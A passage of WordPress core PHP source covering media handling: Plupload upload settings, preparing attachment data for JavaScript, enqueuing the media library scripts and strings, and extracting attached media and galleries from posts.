		&& str_contains( $_SERVER['HTTP_USER_AGENT'], 'OS 7_' )
		&& str_contains( $_SERVER['HTTP_USER_AGENT'], 'like Mac OS X' )
	) {
		$defaults['multi_selection'] = false;
	}

	// Check if WebP images can be edited.
	if ( ! wp_image_editor_supports( array( 'mime_type' => 'image/webp' ) ) ) {
		$defaults['webp_upload_error'] = true;
	}

	// Check if AVIF images can be edited.
	if ( ! wp_image_editor_supports( array( 'mime_type' => 'image/avif' ) ) ) {
		$defaults['avif_upload_error'] = true;
	}

	// Check if HEIC images can be edited.
	if ( ! wp_image_editor_supports( array( 'mime_type' => 'image/heic' ) ) ) {
		$defaults['heic_upload_error'] = true;
	}

	/**
	 * Filters the Plupload default settings.
	 *
	 * @since 3.4.0
	 *
	 * @param array $defaults Default Plupload settings array.
	 */
	$defaults = apply_filters( 'plupload_default_settings', $defaults );

	$params = array(
		'action' => 'upload-attachment',
	);

	/**
	 * Filters the Plupload default parameters.
	 *
	 * @since 3.4.0
	 *
	 * @param array $params Default Plupload parameters array.
	 */
	$params = apply_filters( 'plupload_default_params', $params );

	$params['_wpnonce'] = wp_create_nonce( 'media-form' );

	$defaults['multipart_params'] = $params;

	$settings = array(
		'defaults'      => $defaults,
		'browser'       => array(
			'mobile'    => wp_is_mobile(),
			'supported' => _device_can_upload(),
		),
		'limitExceeded' => is_multisite() && ! is_upload_space_available(),
	);

	$script = 'var _wpPluploadSettings = ' . wp_json_encode( $settings ) . ';';

	if ( $data ) {
		$script = "$data\n$script";
	}

	$wp_scripts->add_data( 'wp-plupload', 'data', $script );
}

/**
 * Prepares an attachment post object for JS, where it is expected
 * to be JSON-encoded and fit into an Attachment model.
 *
 * @since 3.5.0
 *
 * @param int|WP_Post $attachment Attachment ID or object.
 * @return array|void {
 *     Array of attachment details, or void if the parameter does not correspond to an attachment.
 *
 *     @type string $alt                   Alt text of the attachment.
 *     @type string $author                ID of the attachment author, as a string.
 *     @type string $authorName            Name of the attachment author.
 *     @type string $caption               Caption for the attachment.
 *     @type array  $compat                Containing item and meta.
 *     @type string $context               Context, whether it's used as the site icon for example.
 *     @type int    $date                  Uploaded date, timestamp in milliseconds.
 *     @type string $dateFormatted         Formatted date (e.g. June 29, 2018).
 *     @type string $description           Description of the attachment.
 *     @type string $editLink              URL to the edit page for the attachment.
 *     @type string $filename              File name of the attachment.
 *     @type string $filesizeHumanReadable Filesize of the attachment in human readable format (e.g. 1 MB).
 *     @type int    $filesizeInBytes       Filesize of the attachment in bytes.
 *     @type int    $height                If the attachment is an image, represents the height of the image in pixels.
 *     @type string $icon                  Icon URL of the attachment (e.g. /wp-includes/images/media/archive.png).
 *     @type int    $id                    ID of the attachment.
 *     @type string $link                  URL to the attachment.
 *     @type int    $menuOrder             Menu order of the attachment post.
 *     @type array  $meta                  Meta data for the attachment.
 *     @type string $mime                  Mime type of the attachment (e.g. image/jpeg or application/zip).
 *     @type int    $modified              Last modified, timestamp in milliseconds.
 *     @type string $name                  Name, same as title of the attachment.
 *     @type array  $nonces                Nonces for update, delete and edit.
 *     @type string $orientation           If the attachment is an image, represents the image orientation
 *                                         (landscape or portrait).
 *     @type array  $sizes                 If the attachment is an image, contains an array of arrays
 *                                         for the images sizes: thumbnail, medium, large, and full.
 *     @type string $status                Post status of the attachment (usually 'inherit').
 *     @type string $subtype               Mime subtype of the attachment (usually the last part, e.g. jpeg or zip).
 *     @type string $title                 Title of the attachment (usually slugified file name without the extension).
 *     @type string $type                  Type of the attachment (usually first part of the mime type, e.g. image).
 *     @type int    $uploadedTo            Parent post to which the attachment was uploaded.
 *     @type string $uploadedToLink        URL to the edit page of the parent post of the attachment.
 *     @type string $uploadedToTitle       Post title of the parent of the attachment.
 *     @type string $url                   Direct URL to the attachment file (from wp-content).
 *     @type int    $width                 If the attachment is an image, represents the width of the image in pixels.
 * }
 */
function wp_prepare_attachment_for_js( $attachment ) {
	$attachment = get_post( $attachment );

	if ( ! $attachment ) {
		return;
	}

	if ( 'attachment' !== $attachment->post_type ) {
		return;
	}

	$meta = wp_get_attachment_metadata( $attachment->ID );
	if ( str_contains( $attachment->post_mime_type, '/' ) ) {
		list( $type, $subtype ) = explode( '/', $attachment->post_mime_type );
	} else {
		list( $type, $subtype ) = array( $attachment->post_mime_type, '' );
	}

	$attachment_url = wp_get_attachment_url( $attachment->ID );
	$base_url       = str_replace( wp_basename( $attachment_url ), '', $attachment_url );

	$response = array(
		'id'            => $attachment->ID,
		'title'         => $attachment->post_title,
		'filename'      => wp_basename( get_attached_file( $attachment->ID ) ),
		'url'           => $attachment_url,
		'link'          => get_attachment_link( $attachment->ID ),
		'alt'           => get_post_meta( $attachment->ID, '_wp_attachment_image_alt', true ),
		'author'        => $attachment->post_author,
		'description'   => $attachment->post_content,
		'caption'       => $attachment->post_excerpt,
		'name'          => $attachment->post_name,
		'status'        => $attachment->post_status,
		'uploadedTo'    => $attachment->post_parent,
		'date'          => strtotime( $attachment->post_date_gmt ) * 1000,
		'modified'      => strtotime( $attachment->post_modified_gmt ) * 1000,
		'menuOrder'     => $attachment->menu_order,
		'mime'          => $attachment->post_mime_type,
		'type'          => $type,
		'subtype'       => $subtype,
		'icon'          => wp_mime_type_icon( $attachment->ID, '.svg' ),
		'dateFormatted' => mysql2date( __( 'F j, Y' ), $attachment->post_date ),
		'nonces'        => array(
			'update' => false,
			'delete' => false,
			'edit'   => false,
		),
		'editLink'      => false,
		'meta'          => false,
	);

	$author = new WP_User( $attachment->post_author );

	if ( $author->exists() ) {
		$author_name            = $author->display_name ? $author->display_name : $author->nickname;
		$response['authorName'] = html_entity_decode( $author_name, ENT_QUOTES, get_bloginfo( 'charset' ) );
		$response['authorLink'] = get_edit_user_link( $author->ID );
	} else {
		$response['authorName'] = __( '(no author)' );
	}

	if ( $attachment->post_parent ) {
		$post_parent = get_post( $attachment->post_parent );
		if ( $post_parent ) {
			$response['uploadedToTitle'] = $post_parent->post_title ? $post_parent->post_title : __( '(no title)' );
			$response['uploadedToLink']  = get_edit_post_link( $attachment->post_parent, 'raw' );
		}
	}

	$attached_file = get_attached_file( $attachment->ID );

	if ( isset( $meta['filesize'] ) ) {
		$bytes = $meta['filesize'];
	} elseif ( file_exists( $attached_file ) ) {
		$bytes = wp_filesize( $attached_file );
	} else {
		$bytes = '';
	}

	if ( $bytes ) {
		$response['filesizeInBytes']       = $bytes;
		$response['filesizeHumanReadable'] = size_format( $bytes );
	}

	$context             = get_post_meta( $attachment->ID, '_wp_attachment_context', true );
	$response['context'] = ( $context ) ? $context : '';

	if ( current_user_can( 'edit_post', $attachment->ID ) ) {
		$response['nonces']['update'] = wp_create_nonce( 'update-post_' . $attachment->ID );
		$response['nonces']['edit']   = wp_create_nonce( 'image_editor-' . $attachment->ID );
		$response['editLink']         = get_edit_post_link( $attachment->ID, 'raw' );
	}

	if ( current_user_can( 'delete_post', $attachment->ID ) ) {
		$response['nonces']['delete'] = wp_create_nonce( 'delete-post_' . $attachment->ID );
	}

	if ( $meta && ( 'image' === $type || ! empty( $meta['sizes'] ) ) ) {
		$sizes = array();

		/** This filter is documented in wp-admin/includes/media.php */
		$possible_sizes = apply_filters(
			'image_size_names_choose',
			array(
				'thumbnail' => __( 'Thumbnail' ),
				'medium'    => __( 'Medium' ),
				'large'     => __( 'Large' ),
				'full'      => __( 'Full Size' ),
			)
		);
		unset( $possible_sizes['full'] );

		/*
		 * Loop through all potential sizes that may be chosen. Try to do this with some efficiency.
		 * First: run the image_downsize filter. If it returns something, we can use its data.
		 * If the filter does not return something, then image_downsize() is just an expensive way
		 * to check the image metadata, which we do second.
		 */
		foreach ( $possible_sizes as $size => $label ) {

			/** This filter is documented in wp-includes/media.php */
			$downsize = apply_filters( 'image_downsize', false, $attachment->ID, $size );

			if ( $downsize ) {
				if ( empty( $downsize[3] ) ) {
					continue;
				}

				$sizes[ $size ] = array(
					'height'      => $downsize[2],
					'width'       => $downsize[1],
					'url'         => $downsize[0],
					'orientation' => $downsize[2] > $downsize[1] ? 'portrait' : 'landscape',
				);
			} elseif ( isset( $meta['sizes'][ $size ] ) ) {
				// Nothing from the filter, so consult image metadata if we have it.
				$size_meta = $meta['sizes'][ $size ];

				/*
				 * We have the actual image size, but might need to further constrain it if content_width is narrower.
				 * Thumbnail, medium, and full sizes are also checked against the site's height/width options.
				 */
				list( $width, $height ) = image_constrain_size_for_editor( $size_meta['width'], $size_meta['height'], $size, 'edit' );

				$sizes[ $size ] = array(
					'height'      => $height,
					'width'       => $width,
					'url'         => $base_url . $size_meta['file'],
					'orientation' => $height > $width ? 'portrait' : 'landscape',
				);
			}
		}

		if ( 'image' === $type ) {
			if ( ! empty( $meta['original_image'] ) ) {
				$response['originalImageURL']  = wp_get_original_image_url( $attachment->ID );
				$response['originalImageName'] = wp_basename( wp_get_original_image_path( $attachment->ID ) );
			}

			$sizes['full'] = array( 'url' => $attachment_url );

			if ( isset( $meta['height'], $meta['width'] ) ) {
				$sizes['full']['height']      = $meta['height'];
				$sizes['full']['width']       = $meta['width'];
				$sizes['full']['orientation'] = $meta['height'] > $meta['width'] ? 'portrait' : 'landscape';
			}

			$response = array_merge( $response, $sizes['full'] );
		} elseif ( $meta['sizes']['full']['file'] ) {
			$sizes['full'] = array(
				'url'         => $base_url . $meta['sizes']['full']['file'],
				'height'      => $meta['sizes']['full']['height'],
				'width'       => $meta['sizes']['full']['width'],
				'orientation' => $meta['sizes']['full']['height'] > $meta['sizes']['full']['width'] ? 'portrait' : 'landscape',
			);
		}

		$response = array_merge( $response, array( 'sizes' => $sizes ) );
	}

	if ( $meta && 'video' === $type ) {
		if ( isset( $meta['width'] ) ) {
			$response['width'] = (int) $meta['width'];
		}
		if ( isset( $meta['height'] ) ) {
			$response['height'] = (int) $meta['height'];
		}
	}

	if ( $meta && ( 'audio' === $type || 'video' === $type ) ) {
		if ( isset( $meta['length_formatted'] ) ) {
			$response['fileLength']              = $meta['length_formatted'];
			$response['fileLengthHumanReadable'] = human_readable_duration( $meta['length_formatted'] );
		}

		$response['meta'] = array();
		foreach ( wp_get_attachment_id3_keys( $attachment, 'js' ) as $key => $label ) {
			$response['meta'][ $key ] = false;

			if ( ! empty( $meta[ $key ] ) ) {
				$response['meta'][ $key ] = $meta[ $key ];
			}
		}

		$id = get_post_thumbnail_id( $attachment->ID );
		if ( ! empty( $id ) ) {
			list( $src, $width, $height ) = wp_get_attachment_image_src( $id, 'full' );
			$response['image']            = compact( 'src', 'width', 'height' );
			list( $src, $width, $height ) = wp_get_attachment_image_src( $id, 'thumbnail' );
			$response['thumb']            = compact( 'src', 'width', 'height' );
		} else {
			$src               = wp_mime_type_icon( $attachment->ID, '.svg' );
			$width             = 48;
			$height            = 64;
			$response['image'] = compact( 'src', 'width', 'height' );
			$response['thumb'] = compact( 'src', 'width', 'height' );
		}
	}

	if ( function_exists( 'get_compat_media_markup' ) ) {
		$response['compat'] = get_compat_media_markup( $attachment->ID, array( 'in_modal' => true ) );
	}

	if ( function_exists( 'get_media_states' ) ) {
		$media_states = get_media_states( $attachment );
		if ( ! empty( $media_states ) ) {
			$response['mediaStates'] = implode( ', ', $media_states );
		}
	}

	/**
	 * Filters the attachment data prepared for JavaScript.
	 *
	 * @since 3.5.0
	 *
	 * @param array       $response   Array of prepared attachment data. See {@see wp_prepare_attachment_for_js()}.
	 * @param WP_Post     $attachment Attachment object.
	 * @param array|false $meta       Array of attachment meta data, or false if there is none.
	 */
	return apply_filters( 'wp_prepare_attachment_for_js', $response, $attachment, $meta );
}

/**
 * Enqueues all scripts, styles, settings, and templates necessary to use
 * all media JS APIs.
 *
 * @since 3.5.0
 *
 * @global int       $content_width
 * @global wpdb      $wpdb          WordPress database abstraction object.
 * @global WP_Locale $wp_locale     WordPress date and time locale object.
 *
 * @param array $args {
 *     Arguments for enqueuing media scripts.
 *
 *     @type int|WP_Post $post Post ID or post object.
 * }
 */
function wp_enqueue_media( $args = array() ) {
	// Enqueue me just once per page, please.
	if ( did_action( 'wp_enqueue_media' ) ) {
		return;
	}

	global $content_width, $wpdb, $wp_locale;

	$defaults = array(
		'post' => null,
	);
	$args     = wp_parse_args( $args, $defaults );

	/*
	 * We're going to pass the old thickbox media tabs to `media_upload_tabs`
	 * to ensure plugins will work. We will then unset those tabs.
	 */
	$tabs = array(
		// handler action suffix => tab label
		'type'     => '',
		'type_url' => '',
		'gallery'  => '',
		'library'  => '',
	);

	/** This filter is documented in wp-admin/includes/media.php */
	$tabs = apply_filters( 'media_upload_tabs', $tabs );
	unset( $tabs['type'], $tabs['type_url'], $tabs['gallery'], $tabs['library'] );

	$props = array(
		'link'  => get_option( 'image_default_link_type' ), // DB default is 'file'.
		'align' => get_option( 'image_default_align' ),     // Empty default.
		'size'  => get_option( 'image_default_size' ),      // Empty default.
	);

	$exts      = array_merge( wp_get_audio_extensions(), wp_get_video_extensions() );
	$mimes     = get_allowed_mime_types();
	$ext_mimes = array();
	foreach ( $exts as $ext ) {
		foreach ( $mimes as $ext_preg => $mime_match ) {
			if ( preg_match( '#' . $ext . '#i', $ext_preg ) ) {
				$ext_mimes[ $ext ] = $mime_match;
				break;
			}
		}
	}

	/**
	 * Allows showing or hiding the "Create Audio Playlist" button in the media library.
	 *
	 * By default, the "Create Audio Playlist" button will always be shown in
	 * the media library.  If this filter returns `null`, a query will be run
	 * to determine whether the media library contains any audio items.  This
	 * was the default behavior prior to version 4.8.0, but this query is
	 * expensive for large media libraries.
	 *
	 * @since 4.7.4
	 * @since 4.8.0 The filter's default value is `true` rather than `null`.
	 *
	 * @link https://core.trac.wordpress.org/ticket/31071
	 *
	 * @param bool|null $show Whether to show the button, or `null` to decide based
	 *                        on whether any audio files exist in the media library.
	 */
	$show_audio_playlist = apply_filters( 'media_library_show_audio_playlist', true );
	if ( null === $show_audio_playlist ) {
		$show_audio_playlist = $wpdb->get_var(
			"SELECT ID
			FROM $wpdb->posts
			WHERE post_type = 'attachment'
			AND post_mime_type LIKE 'audio%'
			LIMIT 1"
		);
	}

	/**
	 * Allows showing or hiding the "Create Video Playlist" button in the media library.
	 *
	 * By default, the "Create Video Playlist" button will always be shown in
	 * the media library.  If this filter returns `null`, a query will be run
	 * to determine whether the media library contains any video items.  This
	 * was the default behavior prior to version 4.8.0, but this query is
	 * expensive for large media libraries.
	 *
	 * @since 4.7.4
	 * @since 4.8.0 The filter's default value is `true` rather than `null`.
	 *
	 * @link https://core.trac.wordpress.org/ticket/31071
	 *
	 * @param bool|null $show Whether to show the button, or `null` to decide based
	 *                        on whether any video files exist in the media library.
	 */
	$show_video_playlist = apply_filters( 'media_library_show_video_playlist', true );
	if ( null === $show_video_playlist ) {
		$show_video_playlist = $wpdb->get_var(
			"SELECT ID
			FROM $wpdb->posts
			WHERE post_type = 'attachment'
			AND post_mime_type LIKE 'video%'
			LIMIT 1"
		);
	}

	/**
	 * Allows overriding the list of months displayed in the media library.
	 *
	 * By default (if this filter does not return an array), a query will be
	 * run to determine the months that have media items.  This query can be
	 * expensive for large media libraries, so it may be desirable for sites to
	 * override this behavior.
	 *
	 * @since 4.7.4
	 *
	 * @link https://core.trac.wordpress.org/ticket/31071
	 *
	 * @param stdClass[]|null $months An array of objects with `month` and `year`
	 *                                properties, or `null` for default behavior.
	 */
	$months = apply_filters( 'media_library_months_with_files', null );
	if ( ! is_array( $months ) ) {
		$months = $wpdb->get_results(
			$wpdb->prepare(
				"SELECT DISTINCT YEAR( post_date ) AS year, MONTH( post_date ) AS month
				FROM $wpdb->posts
				WHERE post_type = %s
				ORDER BY post_date DESC",
				'attachment'
			)
		);
	}
	foreach ( $months as $month_year ) {
		$month_year->text = sprintf(
			/* translators: 1: Month, 2: Year. */
			__( '%1$s %2$d' ),
			$wp_locale->get_month( $month_year->month ),
			$month_year->year
		);
	}

	/**
	 * Filters whether the Media Library grid has infinite scrolling. Default `false`.
	 *
	 * @since 5.8.0
	 *
	 * @param bool $infinite Whether the Media Library grid has infinite scrolling.
	 */
	$infinite_scrolling = apply_filters( 'media_library_infinite_scrolling', false );

	$settings = array(
		'tabs'              => $tabs,
		'tabUrl'            => add_query_arg( array( 'chromeless' => true ), admin_url( 'media-upload.php' ) ),
		'mimeTypes'         => wp_list_pluck( get_post_mime_types(), 0 ),
		/** This filter is documented in wp-admin/includes/media.php */
		'captions'          => ! apply_filters( 'disable_captions', '' ),
		'nonce'             => array(
			'sendToEditor'           => wp_create_nonce( 'media-send-to-editor' ),
			'setAttachmentThumbnail' => wp_create_nonce( 'set-attachment-thumbnail' ),
		),
		'post'              => array(
			'id' => 0,
		),
		'defaultProps'      => $props,
		'attachmentCounts'  => array(
			'audio' => ( $show_audio_playlist ) ? 1 : 0,
			'video' => ( $show_video_playlist ) ? 1 : 0,
		),
		'oEmbedProxyUrl'    => rest_url( 'oembed/1.0/proxy' ),
		'embedExts'         => $exts,
		'embedMimes'        => $ext_mimes,
		'contentWidth'      => $content_width,
		'months'            => $months,
		'mediaTrash'        => MEDIA_TRASH ? 1 : 0,
		'infiniteScrolling' => ( $infinite_scrolling ) ? 1 : 0,
	);

	$post = null;
	if ( isset( $args['post'] ) ) {
		$post             = get_post( $args['post'] );
		$settings['post'] = array(
			'id'    => $post->ID,
			'nonce' => wp_create_nonce( 'update-post_' . $post->ID ),
		);

		$thumbnail_support = current_theme_supports( 'post-thumbnails', $post->post_type ) && post_type_supports( $post->post_type, 'thumbnail' );
		if ( ! $thumbnail_support && 'attachment' === $post->post_type && $post->post_mime_type ) {
			if ( wp_attachment_is( 'audio', $post ) ) {
				$thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' );
			} elseif ( wp_attachment_is( 'video', $post ) ) {
				$thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' );
			}
		}

		if ( $thumbnail_support ) {
			$featured_image_id                   = get_post_meta( $post->ID, '_thumbnail_id', true );
			$settings['post']['featuredImageId'] = $featured_image_id ? $featured_image_id : -1;
		}
	}

	if ( $post ) {
		$post_type_object = get_post_type_object( $post->post_type );
	} else {
		$post_type_object = get_post_type_object( 'post' );
	}

	$strings = array(
		// Generic.
		'mediaFrameDefaultTitle'      => __( 'Media' ),
		'url'                         => __( 'URL' ),
		'addMedia'                    => __( 'Add media' ),
		'search'                      => __( 'Search' ),
		'select'                      => __( 'Select' ),
		'cancel'                      => __( 'Cancel' ),
		'update'                      => __( 'Update' ),
		'replace'                     => __( 'Replace' ),
		'remove'                      => __( 'Remove' ),
		'back'                        => __( 'Back' ),
		/*
		 * translators: This is a would-be plural string used in the media manager.
		 * If there is not a word you can use in your language to avoid issues with the
		 * lack of plural support here, turn it into "selected: %d" then translate it.
		 */
		'selected'                    => __( '%d selected' ),
		'dragInfo'                    => __( 'Drag and drop to reorder media files.' ),

		// Upload.
		'uploadFilesTitle'            => __( 'Upload files' ),
		'uploadImagesTitle'           => __( 'Upload images' ),

		// Library.
		'mediaLibraryTitle'           => __( 'Media Library' ),
		'insertMediaTitle'            => __( 'Add media' ),
		'createNewGallery'            => __( 'Create a new gallery' ),
		'createNewPlaylist'           => __( 'Create a new playlist' ),
		'createNewVideoPlaylist'      => __( 'Create a new video playlist' ),
		'returnToLibrary'             => __( '&#8592; Go to library' ),
		'allMediaItems'               => __( 'All media items' ),
		'allDates'                    => __( 'All dates' ),
		'noItemsFound'                => __( 'No items found.' ),
		'insertIntoPost'              => $post_type_object->labels->insert_into_item,
		'unattached'                  => _x( 'Unattached', 'media items' ),
		'mine'                        => _x( 'Mine', 'media items' ),
		'trash'                       => _x( 'Trash', 'noun' ),
		'uploadedToThisPost'          => $post_type_object->labels->uploaded_to_this_item,
		'warnDelete'                  => __( "You are about to permanently delete this item from your site.\nThis action cannot be undone.\n 'Cancel' to stop, 'OK' to delete." ),
		'warnBulkDelete'              => __( "You are about to permanently delete these items from your site.\nThis action cannot be undone.\n 'Cancel' to stop, 'OK' to delete." ),
		'warnBulkTrash'               => __( "You are about to trash these items.\n  'Cancel' to stop, 'OK' to delete." ),
		'bulkSelect'                  => __( 'Bulk select' ),
		'trashSelected'               => __( 'Move to Trash' ),
		'restoreSelected'             => __( 'Restore from Trash' ),
		'deletePermanently'           => __( 'Delete permanently' ),
		'errorDeleting'               => __( 'Error in deleting the attachment.' ),
		'apply'                       => __( 'Apply' ),
		'filterByDate'                => __( 'Filter by date' ),
		'filterByType'                => __( 'Filter by type' ),
		'searchLabel'                 => __( 'Search media' ),
		'searchMediaLabel'            => __( 'Search media' ),          // Backward compatibility pre-5.3.
		'searchMediaPlaceholder'      => __( 'Search media items...' ), // Placeholder (no ellipsis), backward compatibility pre-5.3.
		/* translators: %d: Number of attachments found in a search. */
		'mediaFound'                  => __( 'Number of media items found: %d' ),
		'noMedia'                     => __( 'No media items found.' ),
		'noMediaTryNewSearch'         => __( 'No media items found. Try a different search.' ),

		// Library Details.
		'attachmentDetails'           => __( 'Attachment details' ),

		// From URL.
		'insertFromUrlTitle'          => __( 'Insert from URL' ),

		// Featured Images.
		'setFeaturedImageTitle'       => $post_type_object->labels->featured_image,
		'setFeaturedImage'            => $post_type_object->labels->set_featured_image,

		// Gallery.
		'createGalleryTitle'          => __( 'Create gallery' ),
		'editGalleryTitle'            => __( 'Edit gallery' ),
		'cancelGalleryTitle'          => __( '&#8592; Cancel gallery' ),
		'insertGallery'               => __( 'Insert gallery' ),
		'updateGallery'               => __( 'Update gallery' ),
		'addToGallery'                => __( 'Add to gallery' ),
		'addToGalleryTitle'           => __( 'Add to gallery' ),
		'reverseOrder'                => __( 'Reverse order' ),

		// Edit Image.
		'imageDetailsTitle'           => __( 'Image details' ),
		'imageReplaceTitle'           => __( 'Replace image' ),
		'imageDetailsCancel'          => __( 'Cancel edit' ),
		'editImage'                   => __( 'Edit image' ),

		// Crop Image.
		'chooseImage'                 => __( 'Choose image' ),
		'selectAndCrop'               => __( 'Select and crop' ),
		'skipCropping'                => __( 'Skip cropping' ),
		'cropImage'                   => __( 'Crop image' ),
		'cropYourImage'               => __( 'Crop your image' ),
		'cropping'                    => __( 'Cropping&hellip;' ),
		/* translators: 1: Suggested width number, 2: Suggested height number. */
		'suggestedDimensions'         => __( 'Suggested image dimensions: %1$s by %2$s pixels.' ),
		'cropError'                   => __( 'There has been an error cropping your image.' ),

		// Edit Audio.
		'audioDetailsTitle'           => __( 'Audio details' ),
		'audioReplaceTitle'           => __( 'Replace audio' ),
		'audioAddSourceTitle'         => __( 'Add audio source' ),
		'audioDetailsCancel'          => __( 'Cancel edit' ),

		// Edit Video.
		'videoDetailsTitle'           => __( 'Video details' ),
		'videoReplaceTitle'           => __( 'Replace video' ),
		'videoAddSourceTitle'         => __( 'Add video source' ),
		'videoDetailsCancel'          => __( 'Cancel edit' ),
		'videoSelectPosterImageTitle' => __( 'Select poster image' ),
		'videoAddTrackTitle'          => __( 'Add subtitles' ),

		// Playlist.
		'playlistDragInfo'            => __( 'Drag and drop to reorder tracks.' ),
		'createPlaylistTitle'         => __( 'Create audio playlist' ),
		'editPlaylistTitle'           => __( 'Edit audio playlist' ),
		'cancelPlaylistTitle'         => __( '&#8592; Cancel audio playlist' ),
		'insertPlaylist'              => __( 'Insert audio playlist' ),
		'updatePlaylist'              => __( 'Update audio playlist' ),
		'addToPlaylist'               => __( 'Add to audio playlist' ),
		'addToPlaylistTitle'          => __( 'Add to Audio Playlist' ),

		// Video Playlist.
		'videoPlaylistDragInfo'       => __( 'Drag and drop to reorder videos.' ),
		'createVideoPlaylistTitle'    => __( 'Create video playlist' ),
		'editVideoPlaylistTitle'      => __( 'Edit video playlist' ),
		'cancelVideoPlaylistTitle'    => __( '&#8592; Cancel video playlist' ),
		'insertVideoPlaylist'         => __( 'Insert video playlist' ),
		'updateVideoPlaylist'         => __( 'Update video playlist' ),
		'addToVideoPlaylist'          => __( 'Add to video playlist' ),
		'addToVideoPlaylistTitle'     => __( 'Add to video Playlist' ),

		// Headings.
		'filterAttachments'           => __( 'Filter media' ),
		'attachmentsList'             => __( 'Media list' ),
	);

	/**
	 * Filters the media view settings.
	 *
	 * @since 3.5.0
	 *
	 * @param array   $settings List of media view settings.
	 * @param WP_Post $post     Post object.
	 */
	$settings = apply_filters( 'media_view_settings', $settings, $post );

	/**
	 * Filters the media view strings.
	 *
	 * @since 3.5.0
	 *
	 * @param string[] $strings Array of media view strings keyed by the name they'll be referenced by in JavaScript.
	 * @param WP_Post  $post    Post object.
	 */
	$strings = apply_filters( 'media_view_strings', $strings, $post );

	$strings['settings'] = $settings;

	/*
	 * Ensure we enqueue media-editor first, that way media-views
	 * is registered internally before we try to localize it. See #24724.
	 */
	wp_enqueue_script( 'media-editor' );
	wp_localize_script( 'media-views', '_wpMediaViewsL10n', $strings );

	wp_enqueue_script( 'media-audiovideo' );
	wp_enqueue_style( 'media-views' );
	if ( is_admin() ) {
		wp_enqueue_script( 'mce-view' );
		wp_enqueue_script( 'image-edit' );
	}
	wp_enqueue_style( 'imgareaselect' );
	wp_plupload_default_settings();

	require_once ABSPATH . WPINC . '/media-template.php';
	add_action( 'admin_footer', 'wp_print_media_templates' );
	add_action( 'wp_footer', 'wp_print_media_templates' );
	add_action( 'customize_controls_print_footer_scripts', 'wp_print_media_templates' );

	/**
	 * Fires at the conclusion of wp_enqueue_media().
	 *
	 * @since 3.5.0
	 */
	do_action( 'wp_enqueue_media' );
}

/**
 * Retrieves media attached to the passed post.
 *
 * @since 3.6.0
 *
 * @param string      $type Mime type.
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return WP_Post[] Array of media attached to the given post.
 */
function get_attached_media( $type, $post = 0 ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return array();
	}

	$args = array(
		'post_parent'    => $post->ID,
		'post_type'      => 'attachment',
		'post_mime_type' => $type,
		'posts_per_page' => -1,
		'orderby'        => 'menu_order',
		'order'          => 'ASC',
	);

	/**
	 * Filters arguments used to retrieve media attached to the given post.
	 *
	 * @since 3.6.0
	 *
	 * @param array   $args Post query arguments.
	 * @param string  $type Mime type of the desired media.
	 * @param WP_Post $post Post object.
	 */
	$args = apply_filters( 'get_attached_media_args', $args, $type, $post );

	$children = get_children( $args );

	/**
	 * Filters the list of media attached to the given post.
	 *
	 * @since 3.6.0
	 *
	 * @param WP_Post[] $children Array of media attached to the given post.
	 * @param string    $type     Mime type of the media desired.
	 * @param WP_Post   $post     Post object.
	 */
	return (array) apply_filters( 'get_attached_media', $children, $type, $post );
}

/**
 * Checks the HTML content for an audio, video, object, embed, or iframe tags.
 *
 * @since 3.6.0
 *
 * @param string   $content A string of HTML which might contain media elements.
 * @param string[] $types   An array of media types: 'audio', 'video', 'object', 'embed', or 'iframe'.
 * @return string[] Array of found HTML media elements.
 */
function get_media_embedded_in_content( $content, $types = null ) {
	$html = array();

	/**
	 * Filters the embedded media types that are allowed to be returned from the content blob.
	 *
	 * @since 4.2.0
	 *
	 * @param string[] $allowed_media_types An array of allowed media types. Default media types are
	 *                                      'audio', 'video', 'object', 'embed', and 'iframe'.
	 */
	$allowed_media_types = apply_filters( 'media_embedded_in_content_allowed_types', array( 'audio', 'video', 'object', 'embed', 'iframe' ) );

	if ( ! empty( $types ) ) {
		if ( ! is_array( $types ) ) {
			$types = array( $types );
		}

		$allowed_media_types = array_intersect( $allowed_media_types, $types );
	}

	$tags = implode( '|', $allowed_media_types );

	if ( preg_match_all( '#<(?P<tag>' . $tags . ')[^<]*?(?:>[\s\S]*?<\/(?P=tag)>|\s*\/>)#', $content, $matches ) ) {
		foreach ( $matches[0] as $match ) {
			$html[] = $match;
		}
	}

	return $html;
}

/**
 * Retrieves galleries from the passed post's content.
 *
 * @since 3.6.0
 *
 * @param int|WP_Post $post Post ID or object.
 * @param bool        $html Optional. Whether to return HTML or data in the array. Default true.
 * @return array A list of arrays, each containing gallery data and srcs parsed
 *               from the expanded shortcode.
 */
function get_post_galleries( $post, $html = true ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return array();
	}

	if ( ! has_shortcode( $post->post_content, 'gallery' ) && ! has_block( 'gallery', $post->post_content ) ) {
		return array();
	}

	$galleries = array();
	if ( preg_match_all( '/' . get_shortcode_regex() . '/s', $post->post_content, $matches, PREG_SET_ORDER ) ) {
		foreach ( $matches as $shortcode ) {
			if ( 'gallery' === $shortcode[2] ) {
				$srcs = array();

				$shortcode_attrs = shortcode_parse_atts( $shortcode[3] );

				// Specify the post ID of the gallery we're viewing if the shortcode doesn't reference another post already.
				if ( ! isset( $shortcode_attrs['id'] ) ) {
					$shortcode[3] .= ' id="' . (int) $post->ID . '"';
				}

				$gallery = do_shortcode_tag( $shortcode );
				if ( $html ) {
					$galleries[] = $gallery;
				} else {
					preg_match_all( '#src=([\'"])(.+?)\1#is', $gallery, $src, PREG_SET_ORDER );
					if ( ! empty( $src ) ) {
						foreach ( $src as $s ) {
							$srcs[] = $s[2];
						}
					}

					$galleries[] = array_merge(
						$shortcode_attrs,
						array(
							'src' => array_values( array_unique( $srcs ) ),
						)
					);
				}
			}
		}
	}

	if ( has_block( 'gallery', $post->post_content ) ) {
		$post_blocks = parse_blocks( $post->post_content );

		while ( $block = array_shift( $post_blocks ) ) {
			$has_inner_blocks = ! empty( $block['innerBlocks'] );

			// Skip blocks with no blockName and no innerHTML.
			if ( ! $block['blockName'] ) {
				continue;
			}

			// Skip non-Gallery blocks.
			if ( 'core/gallery' !== $block['blockName'] ) {
				// Move inner blocks into the root array before skipping.
				if ( $has_inner_blocks ) {
					array_push( $post_blocks, ...$block['innerBlocks'] );
				}
				continue;
			}

			// New Gallery block format as HTML.
			if ( $has_inner_blocks && $html ) {
